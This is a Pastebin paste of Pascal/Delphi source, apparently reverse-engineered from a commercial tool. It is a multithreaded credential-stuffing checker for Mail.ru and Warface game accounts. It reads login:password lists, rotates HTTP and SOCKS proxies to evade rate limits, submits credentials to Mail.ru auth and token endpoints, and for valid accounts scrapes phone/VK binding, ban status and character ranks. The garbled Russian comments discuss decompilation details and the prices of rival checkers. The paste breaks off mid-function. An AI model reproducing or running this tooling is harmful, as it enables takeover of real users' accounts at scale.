Advertisement
Guest User

Гавно код

a guest
Jun 19th, 2017
23,167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 40.51 KB | None | 0 0
  1. type
  2.   FThread = class(TThread)
  3.   public
  4.     constructor Create;
  5.     destructor Destroy; override;
  6.   private
  7.     HTTP: THTTPSend;
  8.     Data: TStringStream;
  9.     Response: TStringList;
  10.     Rez, WorkType, ProxyType, Timeaut: Integer;
  11.     CurrentLineAcc, CurrentLinePrx, Login, NLogin, Password, IP, Port: string;
  12.     SMS, VK, Token, Ban, PersId, CheckTemp, AlphaNick, AlphaRang, BravoNick, BravoRang, CharlyNick, CharlyRang: string;
  13.   protected
  14.     procedure Execute; override;
  15.     procedure IncWorkedThreads; // Sub_0077112C
  16.     procedure DecWorkedThreads; // Sub_00771134
  17.     function GetListAcc: Boolean; // Sub_0076E3B4
  18.     function GetListPrx: Boolean; // Sub_0076E584
  19.     procedure GetTypePrx(IP, Port: string); // Sub_0076E6C0
  20.     procedure HTTPWork; // Sub_0076E840
  21.     procedure SyncLocal; // Sub_00771358
  22.     procedure EndWork; // Sub_0076E288
  23.   end;
  24.  
  25. implementation
  26.  
  27. function Pars(T_, ForS, _T: string): string;
  28. var
  29.   a, b: Integer;
  30. begin
  31.   Result := '';
  32.   if (T_ = '') or (ForS = '') or (_T = '') then
  33.     Exit;
  34.   a := Pos(T_, ForS);
  35.   if a = 0 then
  36.     Exit
  37.   else
  38.     a := a + Length(T_);
  39.   ForS := Copy(ForS, a, Length(ForS) - a + 1);
  40.   b := Pos(_T, ForS);
  41.   if b > 0 then
  42.     Result := Copy(ForS, 1, b - 1);
  43. end;
  44.  
  45. procedure AppendStringToFile(FileName: string; Data: string);
  46. var
  47.   txtFile: TextFile;
  48. begin
  49.   if not FileExists(strDirectory + FileName) then
  50.   begin
  51.     AssignFile(txtFile, strDirectory + FileName);
  52.       ReWrite(txtFile);
  53.       WriteLn(txtFile, Data);
  54.     CloseFile(txtFile);
  55.   end
  56.   else
  57.   begin
  58.     AssignFile(txtFile, strDirectory + FileName);
  59.       Append(txtFile);
  60.       WriteLn(txtFile, Data);
  61.     CloseFile(txtFile);
  62.   end;
  63. end;
  64.  
  65. //==============================================================================
  66. // FThread c0d3
  67. //==============================================================================
  68.  
  69. constructor FThread.Create;
  70. begin
  71.   inherited Create(True);
  72.   FreeOnTerminate:= True;
  73.   Response:= TStringList.Create;
  74.   WorkType:= Form1.sComboBox1.ItemIndex;
  75.   ProxyType:= Form1.sComboBox2.ItemIndex;
  76.   HTTP:= THTTPSend.Create;
  77.   Data:= TStringStream.Create;
  78.   Timeaut:= Form1.TimeOutSpinEdit.Value;
  79. end;
  80.  
  81. destructor FThread.Destroy;
  82. begin
  83.   HTTP.Free;
  84.   Data.Free;
  85.   Response.Free;
  86.   inherited;
  87. end;
  88.  
  89. procedure FThread.IncWorkedThreads; begin Inc(ThreadsCount); end;
  90. procedure FThread.DecWorkedThreads; begin Dec(ThreadsCount); end;
  91.  
  92. function FThread.GetListAcc;
  93. begin
  94.   if AccountsList.Count > 0 then
  95.   begin
  96.     EnterCriticalSection(CriticalSectionAccs);
  97.     try
  98.       CurrentLineAcc:= AccountsList[0];
  99.       CurrentLineAcc:= StringReplace(CurrentLineAcc, ';', ':', [rfReplaceAll, rfIgnoreCase]);
  100.       Login:= Copy(CurrentLineAcc, 1, Pos(':', CurrentLineAcc) - 1);
  101.       if Pos('@', CurrentLineAcc) <> 0 then
  102.       begin
  103.         NLogin:= Copy(CurrentLineAcc, 1, Pos('@', CurrentLineAcc) - 1);
  104.       end
  105.       else
  106.       begin
  107.         NLogin:= Copy(CurrentLineAcc, 1, Pos(':', CurrentLineAcc) - 1);
  108.       end;
  109.       Password:= Copy(CurrentLineAcc, Pos(':', CurrentLineAcc) + 1, Length(CurrentLineAcc));
  110.       AccountsList.Delete(0);
  111.     finally
  112.       LeaveCriticalSection(CriticalSectionAccs);
  113.     end;
  114.     Result:= True;
  115.   end
  116.   else
  117.   begin
  118.     Result:= False;
  119.   end;
  120. end;
  121.  
  122. function FThread.GetListPrx;
  123. begin
  124.   if ProxyList.Count > 0 then
  125.   begin
  126.     EnterCriticalSection(CriticalSectionProxy);
  127.     try
  128.       if ProxyIndex >= ProxyList.Count then ProxyIndex:= 0;
  129.       CurrentLinePrx:= ProxyList[ProxyIndex];
  130.       Inc(ProxyIndex);
  131.       IP:= Copy(CurrentLinePrx, 1, Pos(':', CurrentLinePrx) - 1);
  132.       Port:= Copy(CurrentLinePrx, Pos(':', CurrentLinePrx) + 1, Length(CurrentLinePrx));
  133.       GetTypePrx(IP, Port);
  134.     finally
  135.       LeaveCriticalSection(CriticalSectionProxy);
  136.     end;
  137.     Result:= True;
  138.   end
  139.   else
  140.   begin
  141.     Result:= False;
  142.   end;
  143. end;
  144.  
  145. procedure FThread.GetTypePrx(IP: string; Port: string);
  146. begin
  147.   case ProxyType of
  148.     0: // HTTP/S
  149.     begin
  150.       HTTP.ProxyHost:= IP;
  151.       HTTP.ProxyPort:= Port;
  152.       HTTP.Timeout:= Timeaut;
  153.     end;
  154.  
  155.     1: // SOCKS4
  156.     begin
  157.       HTTP.Sock.SocksIP:= IP;
  158.       HTTP.Sock.SocksPort:= Port;
  159.       HTTP.Sock.SetTimeout(Timeaut);
  160.       HTTP.Sock.SocksTimeout:= Timeaut;
  161.       HTTP.Sock.SocksResolver:= True;
  162.       HTTP.Sock.SocksType:= ST_Socks4;
  163.     end;
  164.  
  165.     2: // SOCKS5
  166.     begin
  167.       HTTP.Sock.SocksIP:= IP;
  168.       HTTP.Sock.SocksPort:= Port;
  169.       HTTP.Sock.SetTimeout(Timeaut);
  170.       HTTP.Sock.SocksTimeout:= Timeaut;
  171.       HTTP.Sock.SocksResolver:= True;
  172.       HTTP.Sock.SocksType:= ST_Socks5;
  173.     end;
  174.   end;
  175. end;
  176.  
  177. procedure FThread.Execute;
  178. begin
  179.   while (AccountsList.Count > 0) and (Terminated = False) do
  180.   begin
  181.     Synchronize(IncWorkedThreads);
  182.     GetListAcc;
  183.     HTTP.AddPortNumberToHost:= False;
  184.     HTTPWork;
  185.     Synchronize(SyncLocal);
  186.     Synchronize(DecWorkedThreads);
  187.     if ThreadsCount = 0 then
  188.     begin
  189.       Synchronize(EndWork);
  190.     end;
  191.   end;
  192. end;
  193.  
  194. procedure FThread.HTTPWork;
  195. begin
  196.   HTTP.Headers.Clear;
  197.   HTTP.Document.Clear;
  198.   HTTP.Cookies.Clear;
  199.   Data.Clear;
  200.   Response.Clear;
  201.   HTTP.Sock.CloseSocket;
  202.   if ProxyType < 3 then
  203.   begin
  204.     GetListPrx; // HTTP/S or SOCKS4 or SOCKS5 or Debug Mode
  205.   end;
  206.  
  207.   //==============================================================================
  208.   // Ìîæåò áûòü ÿ ïîåõàëà êðûøåé íî ÿ ðåàëüíî âèæó â êîäå òàêîé ôîðìàò
  209.   // ; mov ebx,dword ptr [eax+148A0] - Îáðàùåíèå ê îáúåêòó FThread.HTTP (THTTPSend)
  210.   // ; mov dword ptr [ebx+10], 249F0 - Ïîìåùåíèå â àäðåñ ebx+10 16 ðè÷íîãî ÷èñëà 249F0
  211.   // Åñëè äîñëîâíî â ebx ïîìåñòèëè FThread.HTTP è îáðàòèëèñü ê FThread.HTTP.Timeout
  212.   // Îáðàùåíèå ïðîâîäèëîñü ÷åðåç [ebx+10], íî çíà÷åíèå 249F0 íå èçìåíÿåòñÿ è ýòî
  213.   // êîíñòàíòà â êîäå ïðîãðàììû. Åñëè ïåðåâåñòè â 10 ðè÷íóþ òî âûéäåò 150000
  214.   // Òàê ÷òî íèêàêèõ âîïðîñîâ êî ìíå ïî÷åìó ÿ ïèøó âåçäå HTTP.Timeout:= 150000; ÷òî
  215.   // âèæó â êîäå äàííîé ïðîãðàììû òî è ïèøó, âîïðîñ íàõðåíà òîãäà ïåðåìåííàÿ
  216.   // FThread.Timeaut è âîîáùå ïîëå äëÿ ââîäà çàäåðæêè ìåæäó çàïðîñàìè? Íó îê.
  217.   // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  218.   //==============================================================================
  219.  
  220.   case WorkType of
  221.     0: // WarFace Site | Mail only
  222.     begin
  223.       HTTP.Timeout:= 150000;
  224.       HTTP.Protocol:= '1.1';
  225.       HTTP.AddPortNumberToHost:= False;
  226.       HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
  227.       HTTP.Headers.Add('Origin: https://wf.mail.ru');
  228.       HTTP.Headers.Add('Upgrade-Insecure-Requests: 1');
  229.       HTTP.MimeType:= 'application/x-www-form-urlencoded';
  230.       HTTP.Headers.Add('DNT: 1');
  231.       HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.2.1000 Chrome/47.0.2526.73 Safari/537.36';
  232.       Data.WriteString('Page=https%3A%2F%2Fwf.mail.ru%2F&FakeAuthPage=https%3A%2F%2Fwf.mail.ru%2Fauth&Login=' +
  233.         Login + '&Domain=mail.ru&Password=' + Password + '&saveauth=0');
  234.       HTTP.Document.LoadFromStream(Data);
  235.  
  236.       //==============================================================================
  237.       // Ìîæåò ÿ è íå ïðàâà íî çíà÷åíèå òóò ðàçâå ñòàòè÷íîå "&Domain=mail.ru" èëè âñå òàêè äîëæíî ìåíÿòüñÿ?
  238.       // Õîòÿ ó÷èòûâàÿ êîä ÿ ïèøó òàê êàê âèæó â ôàéëå ïðîãðàììû à ó íèõ ñòàòè÷åñêîå "&Domain=mail.ru"...
  239.       // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  240.       //==============================================================================
  241.  
  242.       try
  243.         HTTP.HTTPMethod('POST', 'https://auth.mail.ru/cgi-bin/auth');
  244.       finally
  245.         if Pos('Location: https://wf.mail.ru/auth?mailrutoken=', HTTP.Headers.Text) <> 0 then
  246.         begin
  247.           Rez:= 2;
  248.         end
  249.         else
  250.         begin
  251.           if Pos('Location: https://e.mail.ru/cgi-bin/passremind?type=mrim', HTTP.Headers.Text) <> 0 then
  252.           begin
  253.             Rez:= 3;
  254.           end
  255.           else
  256.           begin
  257.             if Pos('Location: /validate/index.html?ref_url=wf.mail.ru', HTTP.Headers.Text) <> 0 then
  258.             begin
  259.               Rez:= 0;
  260.             end
  261.             else
  262.             begin
  263.               if Pos('Location: https://wf.mail.ru/', HTTP.Headers.Text) <> 0 then
  264.               begin
  265.                 HTTP.Headers.Clear;
  266.                 HTTP.Document.Clear;
  267.                 HTTP.Timeout:= 150000;
  268.                 HTTP.Protocol:= '1.1';
  269.                 HTTP.AddPortNumberToHost:= False;
  270.                 HTTP.Headers.Add('Accept: text/html, */*; q=0.01');
  271.                 HTTP.Headers.Add('X-Requested-With: XMLHttpRequest');
  272.                 HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  273.                 HTTP.MimeType:= 'application/x-www-form-urlencoded';
  274.                 HTTP.Headers.Add('DNT: 1');
  275.                 if HTTP.HTTPMethod('GET', 'https://wf.mail.ru/dynamic/sms/') then
  276.                 begin
  277.                   Response.LoadFromStream(HTTP.Document);
  278.                   if Pos('{"redirect":"/validate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0 then
  279.                   begin
  280.                     Rez:= 0;
  281.                   end
  282.                   else
  283.                   begin
  284.                     if Pos('<span class="number">', Response.Text) <> 0 then
  285.                     begin
  286.                       SMS:= ' Ïðèâÿçàí!';
  287.                     end
  288.                     else
  289.                     begin
  290.                       SMS:= ' Íå ïðèâÿçàí!';
  291.                     end;
  292.                   end;
  293.                 end
  294.                 else
  295.                 begin
  296.                   Rez:= 0;
  297.                 end;
  298.  
  299.                 HTTP.Headers.Clear;
  300.                 HTTP.Document.Clear;
  301.                 HTTP.Timeout:= 150000;
  302.                 HTTP.Protocol:= '1.1';
  303.                 HTTP.AddPortNumberToHost:= False;
  304.                 HTTP.Headers.Add('Accept: text/html, */*; q=0.01');
  305.                 HTTP.Headers.Add('X-Requested-With: XMLHttpRequest');
  306.                 HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  307.                 HTTP.MimeType:= 'application/x-www-form-urlencoded';
  308.                 HTTP.Headers.Add('DNT: 1');
  309.                 if HTTP.HTTPMethod('GET', 'https://wf.mail.ru/dynamic/user/?a=socialaccounts') then
  310.                 begin
  311.                   Response.LoadFromStream(HTTP.Document);
  312.                   if Pos('{"redirect":"/validate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0 then
  313.                   begin
  314.                     Rez:= 0;
  315.                   end
  316.                   else
  317.                   begin
  318.                     if (Pos('<div class="social_name">', Response.Text) <> 0) or
  319.                       (Pos('<a class="btn btn_profile js-vk_unbind" href="/dynamic/user/?a=socialaccounts_vk_unbind" >',
  320.                         Response.Text) <> 0) then
  321.                     begin
  322.                       VK:= ' Ïðèâÿçàí!';
  323.                     end
  324.                     else
  325.                     begin
  326.                       VK:= ' Íå ïðèâÿçàí!';
  327.                     end;
  328.                   end;
  329.                 end
  330.                 else
  331.                 begin
  332.                   Rez:= 0;
  333.                 end;
  334.  
  335.                 HTTP.Headers.Clear;
  336.                 HTTP.Document.Clear;
  337.                 HTTP.Protocol:= '1.1';
  338.                 HTTP.AddPortNumberToHost:= False;
  339.                 HTTP.Headers.Add('X-Requested-With: XMLHttpRequest');
  340.                 HTTP.Headers.Add('Accept: application/json, text/javascript, */*; q=0.01');
  341.                 HTTP.MimeType:= 'application/x-www-form-urlencoded';
  342.                 HTTP.Headers.Add('DNT: 1');
  343.                 HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.2.1000 Chrome/47.0.2526.73 Safari/537.36';
  344.  
  345.                 if HTTP.HTTPMethod('GET', 'https://wf.mail.ru/dynamic/user/check_data.php?do=auth') then
  346.                 begin
  347.                   if HTTP.ResultCode = 200 then
  348.                   begin
  349.                     Response.LoadFromStream(HTTP.Document);
  350.                     if (Pos('{"redirect":"/Rezate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0) or
  351.                       (Pos('{"redirect":"/validate/index.html?ref_url=wf.mail.ru"}', Response.Text) <> 0) then
  352.                     begin
  353.                       Rez:= 0;
  354.                     end
  355.                     else
  356.                     begin
  357.                       if Pos('{"username":null,"csaid":null,"', Response.Text) <> 0 then
  358.                       begin
  359.                         Rez:= 2;
  360.                       end
  361.                       else
  362.                       begin
  363.                         PersId:= Pars('","csaid":"', Response.Text, '","');
  364.                         if PersId <> '' then
  365.                         begin
  366.                           //==============================================================================
  367.                           // Äàííûé ó÷àñòîê êîäà ïðèøëîñü ïåðåïèñàòü îò ðóêè, ñîáëþäàëà ñèíòàêñèñ îðèãèíàëà
  368.                           // ïðèíèìàéòå êàê åñòü, ïàëêàìè íå áèòü...
  369.                           // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  370.                           //==============================================================================
  371.  
  372.                           HTTP.Headers.Clear;
  373.                           HTTP.Document.Clear;
  374.                           HTTP.Cookies.Clear;
  375.                           HTTP.Protocol:= '1.1';
  376.                           HTTP.Headers.Add('Origin: http://cdn.warface.ru');
  377.                           HTTP.Headers.Add('Accept-Language: en-us,en');
  378.                           HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
  379.                           HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  380.                           HTTP.MimeType:= 'application/x-www-form-urlencoded';
  381.  
  382.                           if HTTP.HTTPMethod('GET',
  383.                             'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=1&category=1&userid=' + PersId) then
  384.                           begin
  385.                             if HTTP.ResultCode = 200 then
  386.                             begin
  387.                               Response.LoadFromStream(HTTP.Document);
  388.                               Response.Text:= Utf8ToAnsi(Response.Text);
  389.                               if Pos('<li class="selected">', Response.Text) <> 0 then
  390.                               begin
  391.                                 CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
  392.                                 AlphaNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
  393.                                 AlphaRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
  394.                               end
  395.                               else
  396.                               begin
  397.                                 AlphaNick:= 'Character not created';
  398.                                 AlphaRang:= '0';
  399.                               end;
  400.                             end;
  401.                           end
  402.                           else
  403.                           begin
  404.                             Rez:= 0;
  405.                           end;
  406.  
  407.                           HTTP.Headers.Clear;
  408.                           HTTP.Document.Clear;
  409.                           HTTP.Cookies.Clear;
  410.                           HTTP.Protocol:= '1.1';
  411.                           HTTP.Headers.Add('Origin: http://cdn.warface.ru');
  412.                           HTTP.Headers.Add('Accept-Language: en-us,en');
  413.                           HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
  414.                           HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  415.                           HTTP.MimeType:= 'application/x-www-form-urlencoded';
  416.  
  417.                           if HTTP.HTTPMethod('GET',
  418.                             'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=2&category=1&userid=' + PersId) then
  419.                           begin
  420.                             if HTTP.ResultCode = 200 then
  421.                             begin
  422.                               Response.LoadFromStream(HTTP.Document);
  423.                               Response.Text:= Utf8ToAnsi(Response.Text);
  424.                               if Pos('<li class="selected">', Response.Text) <> 0 then
  425.                               begin
  426.                                 CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
  427.                                 BravoNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
  428.                                 BravoRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
  429.                               end
  430.                               else
  431.                               begin
  432.                                 BravoNick:= 'Character not created';
  433.                                 BravoRang:= '0';
  434.                               end;
  435.                             end;
  436.                           end
  437.                           else
  438.                           begin
  439.                             Rez:= 0;
  440.                           end;
  441.  
  442.                           HTTP.Headers.Clear;
  443.                           HTTP.Document.Clear;
  444.                           HTTP.Cookies.Clear;
  445.                           HTTP.Protocol:= '1.1';
  446.                           HTTP.Headers.Add('Origin: http://cdn.warface.ru');
  447.                           HTTP.Headers.Add('Accept-Language: en-us,en');
  448.                           HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
  449.                           HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  450.                           HTTP.MimeType:= 'application/x-www-form-urlencoded';
  451.  
  452.                           if HTTP.HTTPMethod('GET',
  453.                             'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=3&category=1&userid=' + PersId) then
  454.                           begin
  455.                             if HTTP.ResultCode = 200 then
  456.                             begin
  457.                               Response.LoadFromStream(HTTP.Document);
  458.                               Response.Text:= Utf8ToAnsi(Response.Text);
  459.                               if Pos('<li class="selected">', Response.Text) <> 0 then
  460.                               begin
  461.                                 CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
  462.                                 CharlyNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
  463.                                 CharlyRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
  464.                               end
  465.                               else
  466.                               begin
  467.                                 CharlyNick:= 'Character not created';
  468.                                 CharlyRang:= '0';
  469.                               end;
  470.                             end;
  471.                           end
  472.                           else
  473.                           begin
  474.                             Rez:= 0;
  475.                           end;
  476.  
  477.                           Rez:= 1;
  478.                         end
  479.                         else
  480.                         begin
  481.                           Rez:= 2;
  482.                         end;
  483.                       end;
  484.                     end;
  485.                   end
  486.                   else
  487.                   begin
  488.                     Rez:= 0;
  489.                   end;
  490.                 end
  491.                 else
  492.                 begin
  493.                   Rez:= 0;
  494.                 end;
  495.               end
  496.               else
  497.               begin
  498.                 Rez:= 2;
  499.               end;
  500.             end;
  501.           end;
  502.         end;
  503.  
  504.         if Rez = 0 then
  505.         begin
  506.           Synchronize(SyncLocal);
  507.           HTTPWork;
  508.         end;
  509.       end;
  510.     end;
  511.  
  512.     1: // WarFace API | All Domain
  513.     begin
  514.       HTTP.Headers.Clear;
  515.       HTTP.Document.Clear;
  516.       HTTP.AddPortNumberToHost:= False;
  517.       HTTP.Protocol:= '1.1';
  518.       HTTP.Headers.Insert(0, 'Accept: */*');
  519.       HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
  520.       HTTP.MimeType:= 'application/x-www-form-urlencoded';
  521.  
  522.       //==============================================================================
  523.       // Îáðàùàþ âàøå âíèìàíèå, ÷òî ðàíåå èñïîëüçîâàëîñü HTTP.Headers.Add, íî ñåé÷àñ
  524.       // äåéñòâèòåëüíî â êîäå ïðîïèñûâàåòñÿ HTTP.Headers.Insert = âîïïðîñ íàõðåíà?
  525.       // ß ïèøó ñòðîãî òî ÷òî âèæó à èìåííî ; xor edx, edx è call dword ptr [ebx+64]
  526.       // ÷òî â ïåðåâîäå íà íîðìàëüíûé ÿçûê îçíà÷àåò âûçîâ ôóíêöèè HTTP.Headers.Insert
  527.       // ñ ïàðàìåòðîì 0 è ñòðîêîé òàê: HTTP.Headers.Insert(0, '') òàê ÷òî ÿ õ3 ïî÷åìó òàê
  528.       // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  529.       //==============================================================================
  530.  
  531.       Data.WriteString('client_id=gamecenter.mail.ru&grant_type=password&username=' + Login +
  532.         '&password=' + Password);
  533.       HTTP.Document.LoadFromStream(Data);
  534.  
  535.       //==============================================================================
  536.       // Âîó âîó ïîëåã÷å, âû ñîáèðàåòåñü Mail, Yandex, Rambler, Qip, Zabugor ïèõàòü â
  537.       // àâòîðèçàöèþ ïî gamecenter êëèåíòó? Àõàõàõàõàõàõàõ... Îðó, íå ìîãó îñòàíîâèòüñÿ.
  538.       // Ïðîñòî ïîëíûé òðåø!!! Â ìîåì ïàáëèê ñîôòå è òî ðàçäåëåíèå àâòîðèçàöèè èäåò äëÿ
  539.       // Mail ýòî gamecenter, à äëÿ Yandex, Rambler, Qip, Zabugor àëüòåðíàòèâíûé êëèåíò.
  540.       // Ó Amfi, Minaev â êà÷åñòâåííûõ ñîôòàõ èäåò òàêæå ðàçäåëåíèå àâòîðèçàöèè, äåëàéòå
  541.       // âûâîäû äàííûé ñîôò ñòîèë 500 ðóáëåé êîïèÿ, êîãäà òîò æå Minaev ñòîèò 500 ðóáëåé.
  542.       // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  543.       //==============================================================================
  544.  
  545.       if HTTP.HTTPMethod('POST', 'https://o2.mail.ru/token') then
  546.       begin
  547.         if HTTP.ResultCode = 500 then
  548.         begin
  549.           Rez:= 0;
  550.         end
  551.         else
  552.         begin
  553.           Response.LoadFromStream(HTTP.Document);
  554.           if Pos('"refresh_token":"', Response.Text) <> 0 then
  555.           begin
  556.             Token:= Pars('access_token":"', Response.Text, '"}');
  557.             HTTP.Headers.Clear;
  558.             HTTP.Document.Clear;
  559.             HTTP.Cookies.Clear;
  560.             Data.Clear;
  561.             Response.Clear;
  562.             HTTP.Protocol:= '1.1';
  563.             HTTP.Headers.Insert(0, 'Accept: */*');
  564.             HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
  565.             HTTP.MimeType:= 'application/x-www-form-urlencoded';
  566.             Data.WriteString('<?xml version="1.0" encoding="UTF-8"?><MrPage2 SessionKey="' + Token +
  567.               '" Page="http://dl.mail.ru/robots.txt"/>');
  568.             HTTP.Document.LoadFromStream(Data);
  569.  
  570.             if HTTP.HTTPMethod('POST', 'https://authdl.mail.ru/ec.php?hint=MrPage2') then
  571.             begin
  572.               if HTTP.ResultCode = 200 then
  573.               begin
  574.                 Response.LoadFromStream(HTTP.Document);
  575.                 Token:= Pars('agent=', Response.Text, 'amp;page');
  576.                 HTTP.Headers.Clear;
  577.                 HTTP.Document.Clear;
  578.                 HTTP.Cookies.Clear;
  579.                 Data.Clear;
  580.                 Response.Clear;
  581.                 HTTP.Protocol:= '1.1';
  582.                 HTTP.Headers.Insert(0, 'Accept: */*');
  583.                 HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
  584.                 HTTP.MimeType:= 'application/x-www-form-urlencoded';
  585.  
  586.                 if HTTP.HTTPMethod('GET', 'https://auth.mail.ru/cgi-bin/auth?Login=' + Login +
  587.                   '&agent=' + Token + '&page=http://dl.mail.ru/robots.txt') then
  588.                 begin
  589.                   if Pos('Set-Cookie: Mpop=', HTTP.Headers.Text) <> 0 then
  590.                   begin
  591.                     Token:= Pars('Set-Cookie: Mpop=', HTTP.Headers.Text, '; expires=');
  592.                     HTTP.Headers.Clear;
  593.                     HTTP.Document.Clear;
  594.                     HTTP.Cookies.Clear;
  595.                     Data.Clear;
  596.                     Response.Clear;
  597.                     HTTP.Protocol:= '1.1';
  598.                     HTTP.Headers.Insert(0, 'Accept: */*');
  599.                     HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Downloader/12480 MailRuGameCenter/1248 Safari/537.36';
  600.                     HTTP.MimeType:= 'application/x-www-form-urlencoded';
  601.                     Data.WriteString('<?xml version="1.0" encoding="UTF-8"?><AutoLogin ProjectId="1177' +
  602.                       'SubProjectId="0" ShardId="1" UserId="12982491613785108002" UserId2="12982491613785108002" Mpop="' +
  603.                       Token + '"/>');
  604.                     HTTP.Document.LoadFromStream(Data);
  605.  
  606.                     if HTTP.HTTPMethod('POST', 'http://authdl.mail.ru/sz.php?hint=AutoLogin') then
  607.                     begin
  608.                       Response.LoadFromStream(HTTP.Document);
  609.                       if Pos('" SupportUrl="https://wf.cdn.gmru.net/static/wf.mail.ru/gamecenter/accblock/', Response.Text) <> 0 then
  610.                       begin
  611.                         Ban:= 'Åñòü';
  612.                       end
  613.                       else
  614.                       begin
  615.                         Ban:= 'Íåò';
  616.  
  617.                         PersId:= Pars('<AutoLogin PersId="', Response.Text, '"');
  618.                         if PersId <> '' then
  619.                         begin
  620.                           //==============================================================================
  621.                           // Äàííûé ó÷àñòîê êîäà ïðèøëîñü ïåðåïèñàòü îò ðóêè, ñîáëþäàëà ñèíòàêñèñ îðèãèíàëà
  622.                           // ïðèíèìàéòå êàê åñòü, ïàëêàìè íå áèòü...
  623.                           // Ñïàñèáî çà âíèìàíèå, ñ óâàæåíèåì [PC-RET] Yulya
  624.                           //==============================================================================
  625.  
  626.                           HTTP.Headers.Clear;
  627.                           HTTP.Document.Clear;
  628.                           HTTP.Cookies.Clear;
  629.                           HTTP.Protocol:= '1.1';
  630.                           HTTP.Headers.Add('Origin: http://cdn.warface.ru');
  631.                           HTTP.Headers.Add('Accept-Language: en-us,en');
  632.                           HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
  633.                           HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  634.                           HTTP.MimeType:= 'application/x-www-form-urlencoded';
  635.  
  636.                           if HTTP.HTTPMethod('GET',
  637.                             'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=1&category=1&userid=' + PersId) then
  638.                           begin
  639.                             if HTTP.ResultCode = 200 then
  640.                             begin
  641.                               Response.LoadFromStream(HTTP.Document);
  642.                               Response.Text:= Utf8ToAnsi(Response.Text);
  643.                               if Pos('<li class="selected">', Response.Text) <> 0 then
  644.                               begin
  645.                                 CheckTemp:= Pars('<li class="selected">', Response.Text, '</li>');
  646.                                 AlphaNick:= Pars('<div class="nickname">', CheckTemp, '</div>');
  647.                                 AlphaRang:= Pars('<div class="rank_icon icon_rank_', CheckTemp, '">');
  648.                               end
  649.                               else
  650.                               begin
  651.                                 AlphaNick:= 'Character not created';
  652.                                 AlphaRang:= '0';
  653.                               end;
  654.                             end;
  655.                           end
  656.                           else
  657.                           begin
  658.                             Rez:= 0;
  659.                           end;
  660.  
  661.                           HTTP.Headers.Clear;
  662.                           HTTP.Document.Clear;
  663.                           HTTP.Cookies.Clear;
  664.                           HTTP.Protocol:= '1.1';
  665.                           HTTP.Headers.Add('Origin: http://cdn.warface.ru');
  666.                           HTTP.Headers.Add('Accept-Language: en-us,en');
  667.                           HTTP.Headers.Add('Accept-Charset: iso-8859-1,*,utf-8');
  668.                           HTTP.UserAgent:= 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22';
  669.                           HTTP.MimeType:= 'application/x-www-form-urlencoded';
  670.  
  671.                           if HTTP.HTTPMethod('GET',
  672.                             'https://wf.mail.ru/dynamic/top/?a=get_ladder_info_gamecenter&server=2&category=1&userid=' + PersId) then
